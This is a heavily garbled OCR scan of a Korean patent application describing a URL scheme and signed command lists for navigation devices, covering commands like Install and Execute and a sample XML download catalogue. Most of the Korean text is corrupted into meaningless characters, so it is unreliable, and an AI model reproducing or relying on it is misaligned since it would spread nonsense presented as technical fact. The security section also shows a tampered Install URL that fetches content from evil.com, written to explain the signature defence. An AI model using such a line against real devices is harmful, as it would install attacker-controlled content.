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<92>

<93>

<94>

<95>

<96>

<97>

<98>

<99>

<100>

<101>

<102>

<103>

<104>

<105>

<106>

<107>

<108>

<109>

<110>

<111>

<112>

<113>

ZIHS3d 10-2008-0099309

Fbe] @Rzt 7] & AEAelAe ool AR duldeld B4 Sl6l AsD 5 A Aol %
S, oY TEaWe, U5 st Yo ge Bpo FAES TFPHE Fa%L FHAL. F FeldE
7ol ASE o8 & AW H8F Aol ©E SEL, o 5, 19 OMAE Hget BaA9
<header>:/// Rl W4& FAT & 9 R, & oZeAl4l 9% A8 5183 FHo2 As spoj=
9 el Aol EE=E AFe Rl TV A & vk

RFC 308691 o)a Ael® 47 Rl B oA T Zersse 389 4 v ZAY9as Aot
Aol £9 AXPEL Fold ZTREZL M AYE A7) (handler) 2A A22E FHAE o Zee]
HES sgdd. oF BW, A 4P AR Zagel o ATH F 4EIAelA (B
FeholQAE) & 222 E <header>i/// 2 AAE RIES A Ae7124 a0,

WIS UWiAE § FeoldEdA By BSomd gtk old BT PUS AHEE], "Ansterdan,

Rembrandtplein 35"3 &L FAh=, 4
2 g k. of# AHeA, "7 gl

o] ~E¥ER wAE F r}.

=
= E9 <header>:///Address?Amsterdam&Rembrandtplein&3s =ZA] JAFE=
||&||

o BAEe AEAQ Aolw tE nel 4od PAE E: PAS

RIE Ahste & ZOIAETL ofd ol ofEgAoldx, oldd RIC mEAAl HW, &9 Al=d
(operating system, 0S)ollAl = URIZ alAsidetr 2T Aolt}t. AdE 0SE= & FTfo|dEo A A7) AL
Z}7} "Address?Amsterdam@Rembrandtpleing35" & AF&E okglE A 4 AHoltl, a3 & Fo|dEE
I FAE VA od S T A Y 5F5E& AREA A AlFgtt. 1y, FA7F AMRE e 5

Gl iAol A Aelsel e,

A W2 HHS AFE3FAL, "http://shop.<web addressWvoices/dutch/bram.toc" & U@ &= Ho| AR 714
H, o5 RIE A3k Aol 7hesit:

<header>:///1nstall?ht tp%3a%2{%2fshop.<web

% o

address>%2fvoices%2fdutch%2fbram. toc

¥ RIZF 9] A o] YepA] v, 283 AREAbe 2 o S8ty § BaeA = 0SdA 2A4S

xHEseal 8 F dEs Folth, 0SeE & SFHOIAECA, o AfdE Folx FAERE bram.toc
=7

(table of contents; ZEI= HolE)S thERT3de A9,

o

Install?http%h3a%2{%2fshop.<web address>%2fvoicesh2fdutch®%2fbram.toc

o el FEE B Asteln aWE Aoly),

theol, HHEe @4 o] 4w ot}
ol

(RFC 3986-F43)=) dutael (RL FAlS

ot

)
ol
;E
oL
ot
o
o
dlo
fo
-
N
il
)
i
4
30,
o
L
o
v

<header>:///command-1ist
o] dje,
He-22 (command-list) = command ['#' command]+

H# (command) = command-name'?'argument-1ist

ol
ot

-o]& (command-name) = (A Y= = BH o] F, ot Fx)

e

F-%= (argument-list) = UrlEncode(argument) [ '&' argument-list ]+
I

ol4=(argument) . = UTF8-string

o

gl 714l (legacy) RL @45 Fxshd, WEL b5 725 7HAoF gtk

<header>://legacy-command-1ist
ol ufje] :
legacy-command-list = legacy-command [ '&' legacy-command ]+

legacy-command = command-name '(' legacy-argument-list ')’

_12_
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<116>

<117>

<118>

<119>

<120>

<121>

<122>

<123>

<124>

<125>

<126>

<127>

<128>

<129>

<130>

<131>

<132>

<133>

<134>

<135>

<136>

<137>

<138>

<139>

<140>

<141>

ZIHS3d 10-2008-0099309

legacy-argument-list = UrlEncode(argument) [ legacy-argument-1list ]+

SHFE RLE] & "?" A8 X gste Bl ukste] #lAA] RLE "?" &
58 TR AL Feal A oY IRLES RFCE #4814 @bd: Ad 9

HEEL AY =%

= 3k
ol of AAES WAYY. 53], B2 9459 ¢ H$AES RL 4AE eV AT A=
2 F7re] "/'E g Aot dF § BEeAHELS IAES AW AHA] ZErh. & of E] ] oLy
o] URL-7FsdH | ofZg Aol diAsted shA vk,

B4 RES Welskela Ansel, dIH F
Kol

0145 ¢ o)WY H< IDE (EMail contact IDs).

E ABIANAE oY ZaaPontE H& HolHE AEse] AgAdA 1AL Hx TS & A
A (AEAel EA, Ao WHAClE, EAR/ZA F7t B)E BT Aol

T-Z& : Address?city&street&number

o155 F24 dlo]E (address data).

>3
ru o
]
Y
r o
N
N
N
oy
ox
2

= =g Alold > *}31}01] FaE 7ML FA, aew UEAelE, &A%

Z’:
Ao sjfe] mA] EE Azl WlolglA ofof g},

_/’\__
Aol sjfe] mA EE Azl WlojglA ofof g},

T%&: AddFavourite?favourite-name&city&street&number

AFE: EA719 o]&53 4 "o|H (name of the favourite and address data).

Aol shite] AU Al H]o]9 ] gholof g},

7= lnstall?URL

o14: the2 =g olo]Elo] th3k TOC (table of contents)?] HTTP URL, Z]x 7]17]7} QAW 43X

7] RLel 2oJ8] EAIE ass MIME-F38 "text/xml"S 0] 3T},

TOC (table of contents) ¥4 "TOC format.xsd" I WA, dE W, XML WAl & 5AHE 4 &

Zo|tt,
S F8Y ololHEL ALEA} (A E B, A= FEIE) ] o8 HX=E 4 vt ¢ POl (points of interest)

dole MES, Holx, A HAE,

In

T-%: Execute?URL
A5 AA B9R-558 Edehs 9aExd o HITP URL
7] URLe o8] #EAIE 2lass MIME-+3 "text/plain"g& H| 3T},

Sof 47] WHES L A¥EA F3AJIE Rol UR 71 IRLE A7 A 7] @el Agd 4

Execute( ) rg@-olFo] éAA-E%E WolM AR&E™, RL2 2o W &%

T AE Bl

o
frt
é
_\‘I_‘
_)ul
|
ot
-
I
S
tlo
N
o
]
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<142>

<143>

<144>

<145>

<146>

<147>

<148>

<149>

<150>

<151>

<152>

<153>

<154>

<155>

<156>

<157>

<158>

<159>

<160>

<161>

ZIHS3d 10-2008-0099309

TZ&: SwitchTab?Tabname

OIS M- E ¥ (tab)9 ©]& (name of a server—created tab).

E o= Alol AL o] Hlo] EA3TH o] ylog HM3E Folth, o] ylo] EAstA] =T, T o EE Al

2 I oFE 79T Aol Aok AWyt o S St I feow MEE Aok, & OH%EM] o]dE A
A HAE QAT Ao},

ghite] o] kS 7]olE Aol F WA SwitchTab WEo] A
T+ <user or host name>Page?Tabname&hostname&URL-path&anchor

AFE: Ml BEE o] HolF (tabname), T 2=Eo°lF (hostmane), T2=EolFol] tigh (F=) 2 URL Y7
(anchor).

Z =g AlolAL FolH Elo|ES V1 ®lo] EAEETIE WA HASt L, EAEA] god S A
T o] & Al RLE

http://hostname.<web address>/URL-path#anchor & A 3s}== 3},

= dZgAelAL olF FYUE WIlste v-LiwHE FAES VAT TXREOEES ALY At dF
gﬁ,iiEOHT%m%%£mh@M€‘%7§Eiﬁﬂq.ﬂ44m""lﬂL"/'%:%mEﬂgy]W%
o},

olstel A Thold st gol, WHES 1 W
Aoltt. & EW, thgel ¥4y FxEo A8 5tk
T <PublicKeyldentifier>?command-list&signature

= .
N55 WY-5S Y MY

o
offu
I

HE ARgA SlaAR 49 F gt 9YES) B%EE AYs) A3 AgErh 37 Age

™ (signature) = Sign<PrivateKey>(™#-%2=)

FTE (35 7] (public key)E 7} 3) AHE 8218 4= gtteE A §o3t),

Sign<PrivateKey> (W#H-E2)2 t}o3 o] +dE 4 9& Aot}

Y E5e UIF-8 2EFoln] e vlolE-EA RN B8 & vk, ¥ 55 Sig<Privatekey> ) 4
o2 AMgE o= URL-QF=5#] ¢S Ao|t},

AFY WS Fxepd, o] wlo]E-gAe] SHA-26 Al H7F AAbETH (256 HIE). © doprt, HE 7]
(private key) (QMDE AH&3tel, AW @ Q' modulo Mol AXberh. 47 A@e wlo|EEe] wo]2-64
(Base-64) 7=% & <QItiet =A] (little-endian sequence) @Al AHTE (IRLS & FAA717] 914

AN Aol WRaAE il FAUAEL et BE Q557 Po], WH-5% 0 A% AFES WKL

™ 8-
=49 Holt}. <PublicKeyldentifier>( ) #H-o]&o] | AA-HH A& é;ﬁhﬁiﬁﬂo]L‘W%ﬂﬂﬂ
A -BH-E-Fo]o]of gt}
5 g ZaAxot: & o ZgAelde FE (public) 7] (P, )& FAetth. WaH-552 SHA-256 A
17} AR (256 BIE). 24 7] (P, )& AF&aled, S AW (countersignature) (P modulo M)o] At
o, AL (Q modulo S @7] 98] 7uk-64 TJmEHH | o] Wl (P - Q) modulo M o] AR A7) A
e o1 Adel 4] tg AW wAsE wolEeAn, o= (P - Q) modulo N o] 139} Bk AL ojwg

719 de WE QlgEe] EASHA & ATH. © delrt, A7l WE olg2
@mmﬂmk;”ﬁﬂt TEE dHuHES e AHolt}. d= C%,EE-Q?%,EEZ
W Aojo A g4 &F (function call) &3 FAFSE, olstallA X742 A (positional approach)¥}
W A (named approach) & 2A AFHE F 7HA 745 whgo Ao debv|Elel Wi " 4 S Zlo|t}.

AR ge] FRE FxSA, B olFol, ol Ew, A A HeblEES FHH, A A9 d5Eo] A

o
rE
i
ol
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<173>

SIHEd 10-2008-0099309

o, aHE, A A e s A A lek wixE T, ofst npzvbAelg. dE 5o, F4& ¥R Al b
A s EES HlEY: =4, Ad F

o]

L
T

, 1 3 (HouseNumber ). 22| AA Q] RI&= Al AFES £33 Ao
w2 o 3 AR AFE B4

1
goz W, ol nshA ot

teto®, vao] o] Add 4 & Aotk

L
Address?Street=RembrandtPlein&City=Amsterdam.

o et 16l Qe stebve s =
7 glofok @k A olvgd. dE BW, 2 dale] the sheviE sl

o
i)
-
)
-0,
L=
)
=
Ay

2E Uehiy] A8 A48 5 92 Aolth o tobh, 14d Pelol 3y oFE 87 (o]
= 9A) ool A WAl A% A WA B AFE AREl ks A2 g e WAZe] e
g & 98 Aol
WA <header>:/// RI & st EE 1 o4 WRES E§T 5 Ue otk TemE, BA 4 (E
tooj® thE B4, dE 59 "and)7t 3PS A2 918 Agd 4 Ak
= 38 upulAleld 717] el AAE 717 Helo] IR Aasks el gstel 471 uulAeld 771
2 e AR A% A J7le BEEE neEth. AY] B4 Ve /7] Welel Z2agel Bad
ARE A A7 (01, A7) A7) G0l DA} 7] BA 717] gl AAE @A Ao} =2
ol 7] wElAlel A )7] el AAE A7) Belel Zeaws gesAel «RE st wHs) (303)
9 g7] A7) (303)e] AAse}, @Al Ao 2ol 717 Walolol WA, 4] Al 7]7]o]
AL oo Aasts] 8 B4 717) el @Ale) Helo] ZEawe Adshs ZaAA (3058 EFe
47 B ANE ZRaW sbssl FART Y] del A9 ZRASE AE £ 9k A AFE F
fFelAolHe AAHES T4 5 9 Aol
ol Al Ade g7 Wudeld J171e) Fojda hede wE AR wE, (FohE) el 7]
e, dE BW, 3 70 dYPEA B8 SR 4o 23de pudd, dadown, 9% 59, (A
aE) AFE (18 EW, POE ofF § 2 2393 o dud 4 PEES wHet. adsE, Aol
A 776 AAE Q= el o8] 1 dulseld 1717 AlelEw, 1 dulsleld 717 el A
F oot we AYEE o 44 B, A}, AFE) Z2AA (IF W, PDE O wan

2el

o bt el 2g Ade Zzow 2l
o 9 AANNE WESE) AFEL O 2 839 BFY A9
<

ZefeliEe] (1 7] 4 7171e) AR wel, 4] vulAeld 717] el A
oo WY FEG AFE wAS FHlGTU, 1 Helol
A BW, AHY HH)el ol

a0 HRE 7He vt

% 4% EYD AYEe] ke MEND AUERYE 54 ARE AT WS welFth 3 gue
7] MED AUEZTE BN WENLE ARetel 47 Frh MEAD AR 59 JuE R 83
& AFFL 40D, 7] Frrel MEAD AUERRE FU VEADE Ffatel 47 MEADL ALEE A
7 ARE AFTHE (403) AL TS, A7) Az ARt ) 54 AR D5 98 4] Fore) uE
92 AEEe] WESE ofm wrkel AZe Urhith, 47 BHe, % 59, 4w 47 wpel wAs
& Agsts 2ZE] WolA (1 E¥, F AEAclaozs) THE & A Aol

% SW, AgAE F NEA A o) =2 el (54T elu ASA-5e) Fuel) wde] wE
BRE 2% 5 vk 2W, 3 F o EAelde, oF 59 vd 2AE Aze 1 a3 2 golA
WE EAS AnEe] B BnE RlF Aotk 1 wE nw 9%o] 1 F FrhldE WelA wEod o
o, 71 FelEL, dF BW, F7HoR 1 a3 AME TP 1 83 ot Fold A4S
Sl A Vel AR 1 84 WE SHoR, MMt F 2eldEst 1 F Auel E(pol)oF §
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Instal 1%3fht tp%3a%2f%2f intranet%2fplus%2fdocument s%2ftemp%2fnavcore_6.5 22.7709.g0510-go710. toc

ol UgE WeEolth. AAe] WH o5 XA (install)elw, "?"2 %3f 2A] AI=HH, Y= AA
gol dgroltt. ARgAbE HE 7S ARkl A7) AR gEel Argsi, HLE‘H%L M JYrsIQ ook, 271
BEs AL s, de Aol AdE 5 e Aotk A7) WEol ntEA AREJTE 1 WS A

=

W, dE W, e gol AYsY L

<header>:///<PublicKeyldentifier>?Install%3fhttp%3a%2f%evil.com%b2fnavcore_6. 522.7709.g0510-
20710.toc&JYrSIQ,

M Ihs iR e tE o

471
2 Aol

olo

Aol AxtE Aolth, aPER, evil.com SLE2FE e ZEEE AR

T 62 WAl 717] el AgE @A WuAlold Zel=E AAlEE 54 7|7E BoFEd. A7) B4 7]
715 iAol 71712 5E Ao nAle]ld EdlAE Yehlls AEE Q&S] 213 & dZ™E (601),
471 AdF AYWE AZdFo A7 dAY WHAeld FH=E Uehge ARE 52 UEYIE Pt
A4 HESZ 71712 $A8E $417] (603), 78A1E b Aol ZHl=E 7] 974 &4l 717|25F F4l8
T A7) (605) H A7) ZBAlE Uiu Aol ZelZe] #EE FRE gaZdoldAY s 4] AalE Uiy
Aol FHEES YujAlelA 7]7] Aol AAsHs Z2AA (607)E EFec},

Ao wE AAE Aol ZHEES YEdE ARE o 5W, ZUE §3 ZUE o) ZHES] I
7] e ZHE 5SS YEdE ZHE Y HolERA HEE S Aotk 9 doprt, 7] AW EE

o] 7he gk HlAelAd ofe]’E (
= HolEHlol s 2T 5 9le Aol

;7171 Aol 711 nAle] A 71719 7] AdE e A

(e
)
ol
o
~N
~N
>
Ll
i
moE
X
B E
Mo rir
2L
ox &
o
=)
Lo
=

o T
[@p)
]
w
ox
=
o~
>
D
w
ofrt
(o]
o 2

42
2

o e
il
)

dA Az o], ZHE ARE TOC (EHE ®HlolE; tale of contents)Z 2°F8 & & Ao},
2 ofge} ot

<Program> <1d>13214</1d>

<Version>1.2<[Lambda]/ersion>

<Target>target</Target>

<Name>NameOf 1 t em</Name>
<Preview>http://download.<download_address>/somepreview.exe</Preview>
<Location>http://download.<web address>/someitem.cab</Location>
<Size>546484</Size>

</Program>

<Map>

<1d>8977</1d>

<Version>1.2</Version>

<Target>Thistarget</Target>

<Name>Bene | ux</Name><Category>Category</Category>

<Preview>http:// download. <download_address> /mappreview.png</Preview>
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<240>

<241>

<242>
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<Location>http://download.<download_address>/mapdownload.cab</Location>
<lcon>http://download.<download_address>/mapicon.png</lcon>
<Size>46464987</Size>

<InstallRestrictions Deviceld="35265252" />

</Map>

<Voice language="en" gender="male">

<1d>4657</1d> <Version>1.1<[Lambda]/ersion>

<Name>user_name</Name>

<Preview>http://download. <download_address>/voicepreview.mp3</Preview>
<Location>http://download.<download_address>/voicedownload.cab</Location>
<Size>46879794623K/Size>

<Picture>http:// <download_address>/voicepicture.png</Picture>
<lcon>http:// <download_address>/voiceicon.png</lcon>

</Voice>

<Colorscheme> <1d>98797</1d>

<Version>1.1 <[Lambda]/ersion>

<Name>Bright Black</Name>
<Location>http://download.<download_address>/colordownload.cab</Location>
<Size>6464</Size>

</Colorscheme>

<Poi>

<1d>65446</1d>

<Version>1.3<[Lambda]/ersion>

<Name>Wifi Hotspots</Name>

<Category>Connectivity</Category>
<Location>http://download.<download_address>/poidownload.cab</Location>
<Size>54567</Size>

</Poi>

</Toc>

ZE <lInstallRestrictions Deviceld="35265252"/> & (<Target> ATHES} = WHWE=F) o] olojelo] X 7}
A A ARs Aedtt AL off FHIELR VXA gerh. AdgAd £4E52, ofel”Hle] o] 7|7 IDE

ZHAAL 717] el A Holof drh= S on|shE deviceld (ZEW (string)) ZL2]al o] ofo]&lE& Sl =
Az ook sl UR|Alo)A Tr ol H4 WA 9vE= minNavigatorVersion (2E#) o]},

T 78, o= 29 A 715E dfEgAeld TEaW (701) (2E ofZgAold, & dEZgAeld) T I
ste A AlUEle] BEEE BT, Y] oEEAeld 2O, & EW, T 7d TAE AT o
4A AW (705)¢ ARE w3ketr] el EA UEYA (703)S A-Fste] EAlstE AFE AoA Fzsch
AW (707) &, dE =9, oZgAold Z2a= (70D 3 AFE HEE WAIAE (balloon messages)

O

(707) el = Beke-A HEHES W] o shtelld FAH = MAAES Aed 5 JS Aot
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